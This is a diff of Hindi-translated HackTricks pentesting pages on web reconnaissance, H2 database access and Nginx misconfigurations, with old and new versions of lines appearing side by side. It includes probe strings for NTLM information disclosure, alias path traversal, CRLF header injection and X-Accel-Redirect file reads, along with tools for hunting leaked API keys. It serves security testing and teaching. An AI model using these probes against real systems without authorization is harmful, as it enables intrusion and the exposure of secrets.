* **API keys**: यदि आप **कोई API कुंजी** पाते हैं, तो विभिन्न प्लेटफार्मों क API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API keys: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
* **S3 Buckets**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट के **अनुमतियों** की जांच करें](buckets/)।
### Special findings
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिनका आपको **ध्यान रखना चाहिए**।
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**।
**Interesting files**
* **CSS** फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **लिंक** की तलाश करें।
* [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
* यदि आप एक _**.env**_ पाते हैं तो API कुंजी, DB पासवर्ड और अन्य जानकारी मिल सकती है।
* यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
* **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना** दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित भेद्यता पेश की गई थी। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
* यदि आप एक _**.env**_ पाते हैं, तो API कुंजी, DB पासवर्ड और अन्य जानकारी मिल सकती है।
* यदि आप **API एंडपॉइंट्स** पाते हैं, तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
* **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल की निगरानी करना दिलचस्प होगा**, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित भेद्यता पेश की गई थी। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
* आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह संवेदनशील है।
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* कई अवसरों पर आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com)
* आप उन फ़ाइलों की भी निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए संवेदनशील कार्यक्षमता का संकेत दे सकता है।
* आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए संवेदनशील कार्यक्षमता का संकेत दे सकता है।
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -331,13 +333,13 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
**NTLM Authentication - Info disclosure**
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछते हैं), तो आप **जानकारी का खुलासा** कर सकते हैं।\
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप **जानकारी का खुलासा** कर सकते हैं।\
**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
**HTTP Redirect (CTF)**
यह संभव है कि **रेडायरेक्शन** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है।
यह संभव है कि **Redirection** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है।
### Web Vulnerabilities Checking
@ -355,13 +357,15 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
### Monitor Pages for changes
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों में संशोधनों की निगरानी कर सकते हैं जो संभावित भेद्यताओं को डाल सकते हैं।
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संशोधन जो भेद्यताओं को डाल सकते हैं।
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
#### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://www.stmcyber.com/careers" %}
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks Automatic Commands
```
@ -442,7 +446,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>

View file

@ -15,15 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Access
आप एक **गैर-मौजूद डेटाबेस का नाम** निर्दिष्ट कर सकते हैं ताकि **वैध क्रेडेंशियल्स के बिना एक नया डेटाबेस बनाया जा सके** (**अनधिकृत**):
आप एक **गैर-मौजूद डेटाबेस का नाम** निर्दिष्ट कर सकते हैं ताकि **मान्य क्रेडेंशियल्स के बिना एक नया डेटाबेस बनाया जा सके** (**अप्रमाणित**):
![](<../../.gitbook/assets/image (131).png>)
या यदि आप जानते हैं कि उदाहरण के लिए एक **mysql चल रहा है** और आप उस डेटाबेस का **नाम** और **क्रेडेंशियल्स** जानते हैं, तो आप बस इसे एक्सेस कर सकते हैं:
या यदि आप जानते हैं कि उदाहरण के लिए एक **mysql चल रहा है** और आप **डेटाबेस का नाम** और उस डेटाबेस के लिए **क्रेडेंशियल्स** जानते हैं, तो आप बस इसे एक्सेस कर सकते हैं:
![](<../../.gitbook/assets/image (201).png>)
@ -46,6 +50,10 @@ H2 डेटाबेस के साथ संवाद करने के
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -55,8 +63,8 @@ H2 डेटाबेस के साथ संवाद करने के
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पैठ परीक्षण के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण pentest चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम pentesters का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण किया जा सके, सुरक्षा मुद्दों को खोजा जा सके जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
जब Nginx सर्वर को कॉन्फ़िगर करते हैं, तो **root निर्देश** एक महत्वपूर्ण भूमिका निभाता है क्योंकि यह उस मूल निर्देशिका को परिभाषित करता है जिससे फ़ाइलें परोसी जाती हैं। नीचे दिए गए उदाहरण पर विचार करें:
जब Nginx सर्वर को कॉन्फ़िगर किया जाता है, तो **root directive** एक महत्वपूर्ण भूमिका निभाता है, जो उस मूल निर्देशिका को परिभाषित करता है जिससे फ़ाइलें परोसी जाती हैं। नीचे दिए गए उदाहरण पर विचार करें:
```bash
server {
root /etc/nginx;
@ -34,9 +36,9 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
इस कॉन्फ़िगरेशन में, `/etc/nginx` को रूट निर्देशिका के रूप में निर्दिष्ट किया गया है। यह सेटअप निर्दिष्ट रूट निर्देशिका के भीतर फ़ाइलों तक पहुँच की अनुमति देता है, जैसे कि `/hello.txt`। हालाँकि, यह महत्वपूर्ण है कि केवल एक विशिष्ट स्थान (`/hello.txt`) को परिभाषित किया गया है। रूट स्थान (`location / {...}`) के लिए कोई कॉन्फ़िगरेशन नहीं है। इस चूक का मतलब है कि रूट निर्देशिका वैश्विक रूप से लागू होत है, जिससे रूट पथ `/` पर अनुरोधों को `/etc/nginx` के तहत फ़ाइलों तक पहुँचने की अनुमति मिलती है।
इस कॉन्फ़िगरेशन में, `/etc/nginx` को रूट डायरेक्टरी के रूप में निर्दिष्ट किया गया है। यह सेटअप निर्दिष्ट रूट डायरेक्टरी के भीतर फ़ाइलों तक पहुँच की अनुमति देता है, जैसे कि `/hello.txt`। हालाँकि, यह महत्वपूर्ण है कि केवल एक विशिष्ट स्थान (`/hello.txt`) को परिभाषित किया गया है। रूट स्थान (`location / {...}`) के लिए कोई कॉन्फ़िगरेशन नहीं है। इस चूक का मतलब है कि रूट निर्देश वैश्विक रूप से लागू होत है, जिससे रूट पथ `/` पर अनुरोधों को `/etc/nginx` के तहत फ़ाइलों तक पहुँचने की अनुमति मिलती है।
इस कॉन्फ़िगरेशन से एक महत्वपूर्ण सुरक्षा विचार उत्पन्न होता है। एक साधारण `GET` अनुरोध, जैसे `GET /nginx.conf`, संवेदनशील जानकारी को उजागर कर सकता है क्योंकि यह `/etc/nginx/nginx.conf` में स्थित Nginx कॉन्फ़िगरेशन फ़ाइल को सर्व करता है। रूट को कम संवेदनशील निर्देशिका, जैसे `/etc`, पर सेट करना इस जोखिम को कम कर सकता है, फिर भी यह अन्य महत्वपूर्ण फ़ाइलों, जिसमें अन्य कॉन्फ़िगरेशन फ़ाइलें, एक्सेस लॉग, और यहां तक कि HTTP बेसिक प्रमाणीकरण के लिए उपयोग किए जाने वाले एन्क्रिप्टेड क्रेडेंशियल्स तक अनपेक्षित पहुँच की अनुमति दे सकता है।
इस कॉन्फ़िगरेशन से एक महत्वपूर्ण सुरक्षा विचार उत्पन्न होता है। एक साधारण `GET` अनुरोध, जैसे `GET /nginx.conf`, संवेदनशील जानकारी को उजागर कर सकता है क्योंकि यह `/etc/nginx/nginx.conf` में स्थित Nginx कॉन्फ़िगरेशन फ़ाइल को सर्व करता है। रूट को कम संवेदनशील डायरेक्टरी, जैसे `/etc`, पर सेट करना इस जोखिम को कम कर सकता है, फिर भी यह अन्य महत्वपूर्ण फ़ाइलों, जिसमें अन्य कॉन्फ़िगरेशन फ़ाइलें, एक्सेस लॉग, और यहां तक कि HTTP बेसिक ऑथेंटिकेशन के लिए उपयोग की जाने वाली एन्क्रिप्टेड क्रेडेंशियल्स शामिल हैं, तक अनपेक्षित पहुँच की अनुमति दे सकता है।
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
@ -46,7 +48,7 @@ location /imgs {
alias /path/images/;
}
```
यह कॉन्फ़िगरेशन LFI हमलों के प्रति संवेदनशील है क्योंकि सर्वर `/imgs../flag.txt` जैस अनुरोधों को लक्षित निर्देशिका के बाहर फ़ाइलों तक पहुँचने के प्रयास के रूप में व्याख्या करता है, जो प्रभावी रूप से `/path/images/../flag.txt` में हल होता है। यह दोष हमलावरों को सर्वर की फ़ाइल प्रणाली से फ़ाइलें पुनः प्राप्त करने की अनुमति देता है जो वेब के माध्यम से सुलभ नहीं होनी चाहिए।
यह कॉन्फ़िगरेशन LFI हमलों के प्रति संवेदनशील है क्योंकि सर्वर `/imgs../flag.txt` जैस अनुरोधों को लक्षित निर्देशिका के बाहर फ़ाइलों तक पहुँचने के प्रयास के रूप में व्याख्या करता है, जो प्रभावी रूप से `/path/images/../flag.txt` में हल होता है। यह दोष हमलावरों को सर्वर की फ़ाइल प्रणाली से फ़ाइलें पुनः प्राप्त करने की अनुमति देता है जो वेब के माध्यम से सुलभ नहीं होनी चाहिए।
इस भेद्यता को कम करने के लिए, कॉन्फ़िगरेशन को इस प्रकार समायोजित किया जाना चाहिए:
```
@ -100,7 +102,7 @@ location / {
return 302 https://example.com$uri;
}
```
HTTP अनुरोधों में \r (Carriage Return) और \n (Line Feed) नए लाइन वर्णों का संकेत देते हैं, और उनके URL-encoded रूप `%0d%0a` के रूप में दर्शाए जाते हैं। एक अनुरोध में इन वर्णों को शामिल करने पर (जैसे, `http://localhost/%0d%0aDetectify:%20clrf`) एक गलत कॉन्फ़िगर किए गए सर्वर पर सर्वर एक नए हेडर का नाम `Detectify` जारी करता है। यह इसलिए होता है क्योंकि $uri वेरिएबल URL-encoded नए लाइन वर्णों को डिकोड करता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर उत्पन्न होता है:
HTTP अनुरोधों में \r (Carriage Return) और \n (Line Feed) नए लाइन वर्णों का संकेत देते हैं, और उनके URL-कोडित रूप `%0d%0a` के रूप में दर्शाए जाते हैं। एक अनुरोध में इन वर्णों को शामिल करने पर (जैसे, `http://localhost/%0d%0aDetectify:%20clrf`) एक गलत कॉन्फ़िगर किए गए सर्वर पर सर्वर एक नए हेडर का नाम `Detectify` जारी करता है। यह इसलिए होता है क्योंकि $uri वेरिएबल URL-कोडित नए लाइन वर्णों को डिकोड करता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर उत्पन्न होता है:
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@ -146,17 +148,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Any variable
यह पाया गया कि **उपयोगकर्ता-प्रदत्त डेटा** कुछ परिस्थितियों में **Nginx वेरिएबल** के रूप में माना जा सकता है। इस व्यवहार का कारण कुछ हद तक अस्पष्ट है, फिर भी यह न तो दुर्लभ है और न ही सत्यापित करना सीधा है। इस विसंगति को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया था, जिसे [यहाँ](https://hackerone.com/reports/370094) देखा जा सकता है। त्रुटि संदेश की आगे की जांच ने [Nginx के कोडबेस के SSI फ़िल्टर मॉड्यूल](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) के भीतर इसकी उपस्थिति की पहचान की, जिससे सर्वर साइड इनक्लूड्स (SSI) को मूल कारण के रूप में इंगित किया गया।
यह पाया गया कि **उपयोगकर्ता-प्रदत्त डेटा** कुछ परिस्थितियों में **Nginx वेरिएबल** के रूप में माना जा सकता है। इस व्यवहार का कारण कुछ हद तक अस्पष्ट है, फिर भी यह न तो दुर्लभ है और न ही सत्यापित करना सीधा है। इस विसंगति को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया, जिसे [यहाँ](https://hackerone.com/reports/370094) देखा जा सकता है। त्रुटि संदेश की आगे की जांच ने इसके होने की पहचान [Nginx के कोडबेस के SSI फ़िल्टर मॉड्यूल](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) के भीतर की, जिससे सर्वर साइड इनक्लूड्स (SSI) को मूल कारण के रूप में इंगित किया गया।
इस **गलत कॉन्फ़िगरेशन** का **पता लगाने** के लिए, निम्नलिखित कमांड निष्पादित की जा सकती है, जिसमें वेरिएबल प्रिंटिंग के लिए एक रेफरर हेडर सेट करना शामिल है:
इस **गलत कॉन्फ़िगरेशन** का **पता लगाने** के लिए, निम्नलिखित कमांड निष्पादित किया जा सकता है, जिसमें वेरिएबल प्रिंटिंग के लिए एक रेफरर हेडर सेट करना शामिल है:
```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
```
इस misconfiguration के लिए सिस्टमों में स्कैन करने पर कई उदाहरण सामने आए जहाँ Nginx वेरिएबल्स को एक उपयोगकर्ता द्वारा प्रिंट किया जा सकता था। हालाँकि, कमजोर उदाहरणों की संख्या में कमी यह सुझाव देती है कि इस समस्या को पैच करने के प्रयास कुछ हद तक सफल रहे हैं।
इस गलत कॉन्फ़िगरेशन के लिए सिस्टमों में स्कैन करने पर कई उदाहरण सामने आए जहाँ Nginx वेरिएबल्स को एक उपयोगकर्ता द्वारा प्रिंट किया जा सकता था। हालाँकि, कमजोर उदाहरणों की संख्या में कमी यह सुझाव देती है कि इस समस्या को पैच करने के प्रयास कुछ हद तक सफल रहे हैं।
## Raw backend response reading
## कच्चे बैकएंड प्रतिक्रिया पढ़ना
Nginx एक फीचर प्रदान करता है `proxy_pass` के माध्यम से जो बैकएंड द्वारा उत्पन्न त्रुटियों और HTTP हेडर्स के इंटरसेप्शन की अनुमति देता है, जिसका उद्देश्य आंतरिक त्रुटि संदेशों और हेडर्स को छिपाना है। यह Nginx द्वारा बैकएंड त्रुटियों के जवाब में कस्टम त्रुटि पृष्ठों को सर्व करके किया जाता है। हालाँकि, जब Nginx एक अमान्य HTTP अनुरोध का सामना करता है, तो चुनौतियाँ उत्पन्न होती हैं। ऐसा अनुरोध बैकएंड को जैसे प्राप्त हुआ है, वैसा ही अग्रेषित किया जाता है, और बैकएंड का कच्चा उत्तर फिर सीधे ग्राहक को Nginx की मध्यस्थता के बिना भेजा जाता है।
Nginx एक विशेषता प्रदान करता है `proxy_pass` के माध्यम से जो बैकएंड द्वारा उत्पन्न त्रुटियों और HTTP हेडर के इंटरसेप्शन की अनुमति देता है, जिसका उद्देश्य आंतरिक त्रुटि संदेशों और हेडर को छिपाना है। यह Nginx द्वारा बैकएंड त्रुटियों के जवाब में कस्टम त्रुटि पृष्ठों को सर्व करके किया जाता है। हालाँकि, जब Nginx एक अमान्य HTTP अनुरोध का सामना करता है, तो चुनौतियाँ उत्पन्न होती हैं। ऐसा अनुरोध बैकएंड को प्राप्त के रूप में अग्रेषित किया जाता है, और बैकएंड की कच्ची प्रतिक्रिया फिर सीधे ग्राहक को Nginx के हस्तक्षेप के बिना भेजी जाती है।
एक उदाहरण परिदृश्य पर विचार करें जिसमें एक uWSGI एप्लिकेशन शामिल है:
```python
@ -175,13 +177,13 @@ proxy_hide_header Secret-Header;
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): यह निर्देश Nginx को 300 से अधिक स्थिति कोड वाले बैकएंड प्रतिक्रियाओं के लिए एक कस्टम प्रतिक्रिया देने की अनुमति देता है। यह सुनिश्चित करता है कि, हमारे उदाहरण uWSGI एप्लिकेशन के लिए, एक `500 Error` प्रतिक्रिया को Nginx द्वारा रोका और संभाला जाता है।
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): जैसा कि नाम से स्पष्ट है, यह निर्देश क्लाइंट से निर्दिष्ट HTTP हेडर को छुपाता है, जिससे गोपनीयता और सुरक्षा बढ़ती है।
जब एक मान्य `GET` अनुरोध किया जाता है, तो Nginx इसे सामान्य रूप से संसाधित करता है, बिना किसी गुप्त हेडर को प्रकट किए एक मानक त्रुटि प्रतिक्रिया लौटाता है। हालाँकि, एक अमान्य HTTP अनुरोध इस तंत्र को बायपास करता है, जिससे कच्ची बैकएंड प्रतिक्रियाएँ, जिसमें गुप्त हेडर और त्रुटि संदेश शामिल हैं, उजागर होती हैं।
जब एक मान्य `GET` अनुरोध किया जाता है, तो Nginx इसे सामान्य रूप से संसाधित करता है, बिना किसी गुप्त हेडर को प्रकट किए एक मानक त्रुटि प्रतिक्रिया लौटाता है। हालाँकि, एक अमान्य HTTP अनुरोध इस तंत्र को बायपास करता है, जिससे कच्चे बैकएंड प्रतिक्रियाओं का खुलासा होता है, जिसमें गुप्त हेडर और त्रुटि संदेश शामिल होते हैं।
## merge\_slashes को बंद करना
डिफ़ॉल्ट रूप से, Nginx का **`merge_slashes` निर्देश** **`on`** पर सेट होता है, जो एक URL में कई फॉरवर्ड स्लैश को एकल स्लैश में संकुचित करता है। यह सुविधा, जबकि URL प्रसंस्करण को सरल बनाती है, Nginx के पीछे अनुप्रयोगों में कमजोरियों को अनजाने में छिपा सकती है, विशेष रूप से स्थानीय फ़ाइल समावेश (LFI) हमलों के प्रति संवेदनशील। सुरक्षा विशेषज्ञ **Danny Robinson और Rotem Bar** ने इस डिफ़ॉल्ट व्यवहार से जुड़े संभावित जोखिमों को उजागर किया है, विशेष रूप से जब Nginx एक रिवर्स-प्रॉक्सी के रूप में कार्य करता है।
ऐसे जोखिमों को कम करने के लिए, उन अनुप्रयोगों के लिए **`merge_slashes` निर्देश को बंद करना** अनुशंसित है जो इन कमजोरियों के प्रति संवेदनशील हैं। यह सुनिश्चित करता है कि Nginx अनुरोधों को अनुप्रयोग की ओर बिना URL संरचना को बदले अग्रेषित करता है, जिससे किसी भी अंतर्निहित सुरक्षा मुद्दों को छिपाया नहीं जाता है।
ऐसे जोखिमों को कम करने के लिए, यह अनुशंसा की जाती है कि **इन कमजोरियों के प्रति संवेदनशील अनुप्रयोगों के लिए `merge_slashes` निर्देश को बंद कर दें**। यह सुनिश्चित करता है कि Nginx URL संरचना को बदले बिना अनुप्रयोग को अनुरोध अग्रेषित करता है, जिससे किसी भी अंतर्निहित सुरक्षा मुद्दों को छिपाया नहीं जाता है।
अधिक जानकारी के लिए [Danny Robinson और Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d) की जाँच करें।
@ -195,11 +197,11 @@ proxy_hide_header Secret-Header;
* `X-Accel-Expires`: X-Accel-Redirect का उपयोग करते समय प्रतिक्रिया के लिए समाप्ति समय सेट करता है।
* `X-Accel-Limit-Rate`: X-Accel-Redirect का उपयोग करते समय प्रतिक्रियाओं के लिए स्थानांतरण की दर को सीमित करता है।
उदाहरण के लिए, हेडर **`X-Accel-Redirect`** Nginx में एक आंतरिक **पुनर्निर्देश** का कारण बनेगा। इसलिए, यदि Nginx कॉन्फ़िगरेशन में कुछ ऐसा है जैसे **`root /`** और वेब सर्वर से प्रतिक्रिया में **`X-Accel-Redirect: .env`** है, तो Nginx **`/.env`** (पथ यात्रा) की सामग्री भेजेगा।
उदाहरण के लिए, हेडर **`X-Accel-Redirect`** Nginx में एक आंतरिक **पुनर्निर्देश** का कारण बनेगा। इसलिए, यदि Nginx कॉन्फ़िगरेशन में कुछ ऐसा है जैसे **`root /`** और वेब सर्वर से प्रतिक्रिया में **`X-Accel-Redirect: .env`** है, तो Nginx **`/.env`** (Path Traversal) की सामग्री भेजेगा।
### **Map Directive में डिफ़ॉल्ट मान**
**Nginx कॉन्फ़िगरेशन** में, `map` निर्देश अक्सर **अधिकार नियंत्रण** में भूमिका निभाता है। एक सामान्य गलती **डिफ़ॉल्ट** मान निर्दिष्ट न करना है, जो अनधिकृत पहुंच का कारण बन सकता है। उदाहरण के लिए:
**Nginx कॉन्फ़िगरेशन** में, `map` निर्देश अक्सर **अधिकार नियंत्रण** में एक भूमिका निभाता है। एक सामान्य गलती **डिफ़ॉल्ट** मान निर्दिष्ट न करना है, जो अनधिकृत पहुंच का कारण बन सकता है। उदाहरण के लिए:
```yaml
http {
map $uri $mappocallow {
@ -220,7 +222,7 @@ return 200 "Hello. It is private area: $mappocallow";
```
